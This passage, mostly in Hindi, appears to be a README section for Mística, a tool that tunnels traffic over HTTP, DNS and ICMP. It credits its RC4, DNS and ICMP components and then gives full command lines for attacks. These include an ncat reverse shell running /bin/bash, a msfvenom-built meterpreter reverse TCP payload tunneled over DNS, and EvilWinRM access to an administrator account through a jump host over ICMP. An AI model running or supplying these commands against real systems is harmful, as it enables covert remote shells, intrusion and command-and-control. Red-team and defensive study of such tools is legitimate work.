- [A RC4 binary-safe](https://github.com/DavidBuchanan314/rc4) डेविड बुकानन द्वारा विकसित।
- [A DNS Client without dependencies](https://github.com/vlasebian/simple-dns-client) व्लाद विटान द्वारा विकसित।
- [A ICMP Server and Client without dependencies](https://github.com/rcaroncd/ICMPack/) राउल कारो द्वारा विकसित।
टूल डाउनलोड करें
  • लिनक्स क्लाइंट पर netcat का उपयोग करके HTTP रिवर्स शेल।
    • Netcat लिसनर (सर्वर पर): nc -nlvp 5555
    • Mística सर्वर: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística क्लाइंट: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
    • Netcat शेल (लिनक्स क्लाइंट पर): ncat -nve /bin/bash 127.0.0.1 4444
  • पोर्ट फ़ॉरवर्डिंग का उपयोग करके DNS पर meterpreter_reverse_tcp (लिनक्स) चलाना। पेलोड msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin के साथ उत्पन्न हुआ।
    • सर्वर पर msfconsole चलाएँ और हैंडलर को इसके साथ लॉन्च करें: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
    • Mística सर्वर: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
    • Mística क्लाइंट: ./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • क्लाइंट पर meterpreter चलाएँ: ./meterpreter_reverse_tcp_localhost_4444.bin
  • एक अलग मशीन तक पहुँचने के लिए जंपिंग मशीन का उपयोग करके ICMP पर EvilWinrm।
    • Mistica सर्वर: ./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
    • Mistica क्लाइंट: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
    • EvilWinrm कंसोल (C2 मशीन पर): evil-winrm -u Administrador -i 127.0.0.1 -P 5555